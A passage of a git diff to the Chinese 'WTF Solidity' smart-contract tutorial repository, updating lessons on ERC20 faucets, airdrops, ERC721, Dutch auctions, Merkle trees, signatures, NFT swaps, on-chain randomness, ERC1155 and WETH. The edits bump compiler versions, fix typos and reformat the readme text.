+推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 我们在第31讲学习了`ERC20`代币标准。这一讲,我们将学习`ERC20`水龙头的智能合约。在这个合约中,用户可以领到免费的`ERC20`代币。 @@ -60,28 +60,29 @@ event SendToken(address indexed Receiver, uint256 indexed Amount); 合约中只有两个函数: - 构造函数:初始化`tokenContract`状态变量,确定发放的`ERC20`代币地址。 -```solidity -// 部署时设定ERC2代币合约 -constructor(address _tokenContract) { - tokenContract = _tokenContract; // set token contract -} -``` + + ```solidity + // 部署时设定ERC20代币合约 + constructor(address _tokenContract) { + tokenContract = _tokenContract; // set token contract + } + ``` - `requestTokens()`函数,用户调用它可以领取`ERC20`代币。 -```solidity -// 用户领取代币函数 -function requestTokens() external { - require(requestedAddress[msg.sender] == false, "Can't Request Multiple Times!"); // 每个地址只能领一次 - IERC20 token = IERC20(tokenContract); // 创建IERC20合约对象 - require(token.balanceOf(address(this)) >= amountAllowed, "Faucet Empty!"); // 水龙头空了 - - token.transfer(msg.sender, amountAllowed); // 发送token - requestedAddress[msg.sender] = true; // 记录领取地址 - - emit SendToken(msg.sender, amountAllowed); // 释放SendToken事件 -} -``` + ```solidity + // 用户领取代币函数 + function requestTokens() external { + require(!requestedAddress[msg.sender], "Can't Request Multiple Times!"); // 每个地址只能领一次 + IERC20 token = IERC20(tokenContract); // 创建IERC20合约对象 + require(token.balanceOf(address(this)) >= amountAllowed, "Faucet Empty!"); // 水龙头空了 + + token.transfer(msg.sender, amountAllowed); // 发送token + requestedAddress[msg.sender] = true; // 记录领取地址 + + emit SendToken(msg.sender, amountAllowed); // 释放SendToken事件 + } + ``` ## Remix演示 @@ -93,15 +94,15 @@ function requestTokens() external { 3. 利用`ERC20`代币合约的`transfer()`函数,将 10000 单位代币转账到`Faucet`合约地址。 ![给`Faucet`水龙头合约转账](./img/32-3.png) - + 4. 换一个新账户,调用`Faucet`合约`requestTokens()`函数,领取代币。可以在终端看到`SendToken`事件被释放。 ![切换账户](./img/32-4.png) - + ![requestToken](./img/32-5.png) - + 5. 在`ERC20`代币合约上利用`balanceOf`查询领取水龙头的账户余额,可以看到余额变为`100`,领取成功! ![领取成功](./img/32-6.png) ## 总结 -这一讲,我们介绍了代币水龙头的历史和`ERC20`水龙头合约。大家觉得下一个`BTC`水龙头会在哪里? \ No newline at end of file +这一讲,我们介绍了代币水龙头的历史和`ERC20`水龙头合约。大家觉得下一个`BTC`水龙头会在哪里? diff --git a/33_Airdrop/Airdrop.sol b/33_Airdrop/Airdrop.sol index 77b310461..b0a165b8f 100644 --- a/33_Airdrop/Airdrop.sol +++ b/33_Airdrop/Airdrop.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // By 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC20.sol"; //import IERC20 @@ -99,7 +99,7 @@ contract ERC20 is IERC20 { function transfer( address recipient, uint amount - ) external override returns (bool) { + ) public override returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); @@ -110,7 +110,7 @@ contract ERC20 is IERC20 { function approve( address spender, uint amount - ) external override returns (bool) { + ) public override returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; @@ -121,7 +121,7 @@ contract ERC20 is IERC20 { address sender, address recipient, uint amount - ) external override returns (bool) { + ) public override returns (bool) { allowance[sender][msg.sender] -= amount; balanceOf[sender] -= amount; balanceOf[recipient] += amount; diff --git a/33_Airdrop/IERC20.sol b/33_Airdrop/IERC20.sol index 3816c71f7..5ba3e7406 100644 --- a/33_Airdrop/IERC20.sol +++ b/33_Airdrop/IERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev ERC20 接口合约. diff --git a/33_Airdrop/readme.md b/33_Airdrop/readme.md index 304ea538a..be278b629 100644 --- a/33_Airdrop/readme.md +++ b/33_Airdrop/readme.md @@ -8,15 +8,15 @@ tags: - airdrop --- -# WTF Solidity 极简入门: 33. 发送空投 +# WTF Solidity极简入门: 33. 空投合约 -我最近在重新学 solidity,巩固一下细节,也写一个“WTF Solidity 极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入 WTF 科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在 github(1024 个 star 发课程认证,2048 个 star 发社群 NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) --- @@ -34,17 +34,15 @@ tags: - `getSum()`函数:返回`uint`数组的和。 - ```solidity - // 数组求和函数 - function getSum(uint256[] calldata _arr) public pure returns(uint sum) - { - for(uint i = 0; i < _arr.length; i++) - sum = sum + _arr[i]; - } - ``` + ```solidity + // 数组求和函数 + function getSum(uint256[] calldata _arr) public pure returns(uint sum){ + for(uint i = 0; i < _arr.length; i++) + sum = sum + _arr[i]; + } + ``` - `multiTransferToken()`函数:发送`ERC20`代币空投,包含`3`个参数: - - `_token`:代币合约地址(`address`类型) - `_addresses`:接收空投的用户地址数组(`address[]`类型) - `_amounts`:空投数量数组,对应`_addresses`里每个地址的数量(`uint[]`类型) @@ -77,7 +75,6 @@ tags: ``` - `multiTransferETH()`函数:发送`ETH`空投,包含`2`个参数: - - `_addresses`:接收空投的用户地址数组(`address[]`类型) - `_amounts`:空投数量数组,对应`_addresses`里每个地址的数量(`uint[]`类型) @@ -109,34 +106,30 @@ tags: 1. 部署`ERC20`代币合约,并给自己`mint`10000 单位代币。 -![部署`ERC20`](./img/33-1.png) - -![mint](./img/33-2.png) + ![部署`ERC20`](./img/33-1.png) + ![mint](./img/33-2.png) 2. 部署`Airdrop`空投合约。 -![部署`Airdrop`合约](./img/33-3.png) - + ![部署`Airdrop`合约](./img/33-3.png) 3. 利用`ERC20`代币合约中的`approve()`函数,给`Airdrop`空投合约授权 10000 单位代币。 -![授权`Airdrop`合约](./img/33-4.png) - + ![授权`Airdrop`合约](./img/33-4.png) 4. 执行`Airdrop`合约的`multiTransferToken()`函数进行空投, `_token`填`ERC20`代币地址,`_addresses`和`_amounts`按照以下填写 -``` -// _addresses填写 -["0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"] + ```text + // _addresses填写 + ["0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"] -// _amounts填写 -[100, 200] -``` - -![空投](./img/33-5.png) + // _amounts填写 + [100, 200] + ``` + ![空投](./img/33-5.png) 5. 利用`ERC20`合约的`balanceOf()`函数查询上面用户地址的代币余额,成功变为`100`和`200`,空投成功! -![查询空投用户的代币余额](./img/33-6.png) + ![查询空投用户的代币余额](./img/33-6.png) ## 总结 -这一讲,我们介绍了如何使用`solidity`写`ERC20`代币空投合约,极大增加空投效率。我撸空投收获最大的一次是`ENS`空投,你们呢? +这一讲,我们介绍了如何使用`Solidity`写`ERC20`代币空投合约,极大增加空投效率。我撸空投收获最大的一次是`ENS`空投,你们呢? diff --git a/34_ERC721/ERC721.sol b/34_ERC721/ERC721.sol index d1b992817..824928191 100644 --- a/34_ERC721/ERC721.sol +++ b/34_ERC721/ERC721.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC165.sol"; import "./IERC721.sol"; diff --git a/34_ERC721/String.sol b/34_ERC721/String.sol index 0cea75e28..bdaead5e0 100644 --- a/34_ERC721/String.sol +++ b/34_ERC721/String.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol) -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev String operations. diff --git a/34_ERC721/WTFApe.sol b/34_ERC721/WTFApe.sol index b4ec71a31..aa632a591 100644 --- a/34_ERC721/WTFApe.sol +++ b/34_ERC721/WTFApe.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC721.sol"; diff --git a/34_ERC721/readme.md b/34_ERC721/readme.md index 5f1cfb7cb..54b960ddd 100644 --- a/34_ERC721/readme.md +++ b/34_ERC721/readme.md @@ -11,15 +11,15 @@ tags: # WTF Solidity极简入门: 34. ERC721 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- `BTC`和`ETH`这类代币都属于同质化代币,矿工挖出的第`1`枚`BTC`与第`10000`枚`BTC`并没有不同,是等价的。但世界中很多物品是不同质的,其中包括房产、古董、虚拟艺术品等等,这类物品无法用同质化代币抽象。因此,[以太坊EIP721](https://eips.ethereum.org/EIPS/eip-721)提出了`ERC721`标准,来抽象非同质化的物品。这一讲,我们将介绍`ERC721`标准,并基于它发行一款`NFT`。 @@ -193,7 +193,7 @@ interface IERC721Metadata is IERC721 { ```solidity // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC165.sol"; import "./IERC721.sol"; @@ -463,7 +463,7 @@ contract ERC721 is IERC721, IERC721Metadata{ ```solidity // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC721.sol"; diff --git a/35_DutchAuction/DutchAuction.sol b/35_DutchAuction/DutchAuction.sol index ce481a59d..1286851a2 100644 --- a/35_DutchAuction/DutchAuction.sol +++ b/35_DutchAuction/DutchAuction.sol @@ -1,11 +1,11 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@openzeppelin/contracts/access/Ownable.sol"; import "../34_ERC721/ERC721.sol"; contract DutchAuction is Ownable, ERC721 { - uint256 public constant COLLECTOIN_SIZE = 10000; // NFT总数 + uint256 public constant COLLECTION_SIZE = 10000; // NFT总数 uint256 public constant AUCTION_START_PRICE = 1 ether; // 起拍价 uint256 public constant AUCTION_END_PRICE = 0.1 ether; // 结束价(最低价) uint256 public constant AUCTION_TIME = 10 minutes; // 拍卖时间,为了测试方便设为10分钟 @@ -19,7 +19,7 @@ contract DutchAuction is Ownable, ERC721 { uint256[] private _allTokens; // 记录所有存在的tokenId //设定拍卖起始时间:我们在构造函数中会声明当前区块时间为起始时间,项目方也可以通过`setAuctionStartTime(uint32)`函数来调整 - constructor() ERC721("WTF Dutch Auctoin", "WTF Dutch Auctoin") { + constructor() Ownable(msg.sender) ERC721("WTF Dutch Auction", "WTF Dutch Auction") { auctionStartTime = block.timestamp; } @@ -45,7 +45,7 @@ contract DutchAuction is Ownable, ERC721 { "sale has not started yet" ); // 检查是否设置起拍时间,拍卖是否开始 require( - totalSupply() + quantity <= COLLECTOIN_SIZE, + totalSupply() + quantity <= COLLECTION_SIZE, "not enough remaining reserved for auction to support desired mint amount" ); // 检查是否超过NFT上限 diff --git a/35_DutchAuction/readme.md b/35_DutchAuction/readme.md index 94f96442b..ad776700f 100644 --- a/35_DutchAuction/readme.md +++ b/35_DutchAuction/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 35. 荷兰拍卖 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我将介绍荷兰拍卖,并通过简化版`Azuki`荷兰拍卖代码,讲解如何通过`荷兰拍卖`发售`ERC721`标准的`NFT`。 @@ -42,7 +42,7 @@ tags: ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@openzeppelin/contracts/access/Ownable.sol"; import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol"; @@ -170,7 +170,7 @@ contract DutchAuction is Ownable, ERC721 { 2. 荷兰拍卖:随后,可以通过`getAuctionPrice()`函数获取到**当前**的拍卖价格。可以观察到,拍卖开始前的价格为`起拍价 AUCTION_START_PRICE`随着拍卖进行,拍卖价格在逐渐降低,直到降低至`地板价 AUCTION_END_PRICE`后不再变化。 ![荷兰拍卖价格变化](./img/35-3.png) -3. Mint操作:通过`auctionMin()`函数,完成mint,可以看见本例中,由于时间已经超过拍卖时间,因此仅耗费了`地板价`就完成了拍卖。 +3. Mint操作:通过`auctionMint()`函数,完成mint,可以看见本例中,由于时间已经超过拍卖时间,因此仅耗费了`地板价`就完成了拍卖。 ![完成荷兰拍卖](./img/35-4.png) 4. 提取`ETH`:直接通过`withdrawMoney()`函数,便能将筹集到的`ETH`通过`call()`发送到合约创建者的地址。 diff --git a/36_MerkleTree/MerkleTree.sol b/36_MerkleTree/MerkleTree.sol index 6e66429e4..91aabf34d 100644 --- a/36_MerkleTree/MerkleTree.sol +++ b/36_MerkleTree/MerkleTree.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // By 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "../34_ERC721/ERC721.sol"; diff --git a/36_MerkleTree/readme.md b/36_MerkleTree/readme.md index 978d35e58..fdec082af 100644 --- a/36_MerkleTree/readme.md +++ b/36_MerkleTree/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 36. 默克尔树 Merkle Tree -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我将介绍`Merkle Tree`,以及如何利用`Merkle Tree`发放`NFT`白名单。 @@ -114,7 +114,7 @@ library MerkleProof { 3. `_hashPair()`函数:用`keccak256()`函数计算非根节点对应的两个子节点的哈希(排序后)。 -我们将`地址0`,`root`和对应的`proof`输入到`verify()`函数,将返回`ture`。因为`地址0`在根为`root`的`Merkle Tree`中,且`proof`正确。如果改变了其中任意一个值,都将返回`false`。 +我们将`地址0`,`root`和对应的`proof`输入到`verify()`函数,将返回`true`。因为`地址0`在根为`root`的`Merkle Tree`中,且`proof`正确。如果改变了其中任意一个值,都将返回`false`。 ## 利用`Merkle Tree`发放`NFT`白名单 diff --git a/37_Signature/Signature.sol b/37_Signature/Signature.sol index 30cd01176..88fb6150f 100644 --- a/37_Signature/Signature.sol +++ b/37_Signature/Signature.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "../34_ERC721/ERC721.sol"; diff --git a/37_Signature/readme.md b/37_Signature/readme.md index 3db381147..9a460e22c 100644 --- a/37_Signature/readme.md +++ b/37_Signature/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 37. 数字签名 Signature -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将简单的介绍以太坊中的数字签名`ECDSA`,以及如何利用它发放`NFT`白名单。代码中的`ECDSA`库由`OpenZeppelin`的同名库简化而成。 @@ -32,7 +32,7 @@ tags: 1. **身份认证**:证明签名方是私钥的持有人。 2. **不可否认**:发送方不能否认发送过这个消息。 -3. **完整性**:消息在传输过程中无法被修改。 +3. **完整性**:通过验证针对传输消息生成的数字签名,可以验证消息是否在传输过程中被篡改。 ## `ECDSA`合约 @@ -76,7 +76,7 @@ tags: * 以及`EIP191`:https://eips.ethereum.org/EIPS/eip-191` * 添加"\x19Ethereum Signed Message:\n32"字段,防止签名的是可执行交易。 */ - function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { // 哈希的长度为32 return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } @@ -120,7 +120,7 @@ rpc = 'https://rpc.ankr.com/eth' w3 = Web3(HTTPProvider(rpc)) #打包信息 -msg = Web3.solidityKeccak(['address','uint256'], [address,0]) +msg = Web3.solidity_keccak(['address','uint256'], [address,0]) print(f"消息:{msg.hex()}") #构造可签名信息 message = encode_defunct(hexstr=msg.hex()) diff --git a/38_NFTSwap/NFTSwap.sol b/38_NFTSwap/NFTSwap.sol index 6d5439e69..0483d73ce 100644 --- a/38_NFTSwap/NFTSwap.sol +++ b/38_NFTSwap/NFTSwap.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "../34_ERC721/IERC721.sol"; import "../34_ERC721/IERC721Receiver.sol"; diff --git a/38_NFTSwap/readme.md b/38_NFTSwap/readme.md index 01590db17..922b4264a 100644 --- a/38_NFTSwap/readme.md +++ b/38_NFTSwap/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 38. NFT交易所 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -discord:[WTF Academy](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- `Opensea`是以太坊上最大的`NFT`交易平台,总交易总量达到了`$300亿`。`Opensea`在交易中抽成`2.5%`,因此它通过用户交易至少获利了`$7.5亿`。另外,它的运作并不去中心化,且不准备发币补偿用户。`NFT`玩家苦`Opensea`久已,今天我们就利用智能合约搭建一个零手续费的去中心化`NFT`交易所:`NFTSwap`。 diff --git a/39_Random/Random.sol b/39_Random/Random.sol index d000efa89..872de8e84 100644 --- a/39_Random/Random.sol +++ b/39_Random/Random.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol"; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; diff --git a/39_Random/RandomNumberConsumer.sol b/39_Random/RandomNumberConsumer.sol index 287d1eea5..f3e941757 100644 --- a/39_Random/RandomNumberConsumer.sol +++ b/39_Random/RandomNumberConsumer.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; diff --git a/39_Random/readme.md b/39_Random/readme.md index 3842ad577..b262f6982 100644 --- a/39_Random/readme.md +++ b/39_Random/readme.md @@ -11,15 +11,15 @@ tags: # WTF Solidity极简入门: 39. 链上随机数 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -discord:[WTF Academy](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 很多以太坊上的应用都需要用到随机数,例如`NFT`随机抽取`tokenId`、抽盲盒、`gamefi`战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(`public`)且确定性(`deterministic`)的,它没法像其他编程语言一样给开发者提供生成随机数的方法。这一讲我们将介绍链上(哈希函数)和链下(`chainlink`预言机)随机数生成的两种方法,并利用它们做一款`tokenId`随机铸造的`NFT`。 @@ -72,7 +72,7 @@ discord:[WTF Academy](https://discord.gg/5akcruXrsk) ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; @@ -159,7 +159,7 @@ contract RandomNumberConsumer is VRFConsumerBaseV2{ ```Solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol"; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; diff --git a/40_ERC1155/BAYC1155.sol b/40_ERC1155/BAYC1155.sol index dc2fa9cc7..c0d337a58 100644 --- a/40_ERC1155/BAYC1155.sol +++ b/40_ERC1155/BAYC1155.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC1155.sol"; diff --git a/40_ERC1155/readme.md b/40_ERC1155/readme.md index 410a33729..a569481c9 100644 --- a/40_ERC1155/readme.md +++ b/40_ERC1155/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 40. ERC1155 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -discord:[WTF Academy](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将学习`ERC1155`标准,它支持一个合约包含多种代币。并且,我们会发行一个魔改的无聊猿 - `BAYC1155`:它包含`10,000`种代币,且元数据与`BAYC`一致。 @@ -562,7 +562,7 @@ contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { ```solidity // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC1155.sol"; diff --git a/41_WETH/readme.md b/41_WETH/readme.md index 53b9509ea..3d37c2979 100644 --- a/41_WETH/readme.md +++ b/41_WETH/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 41. WETH -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -discord:[WTF Academy](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: 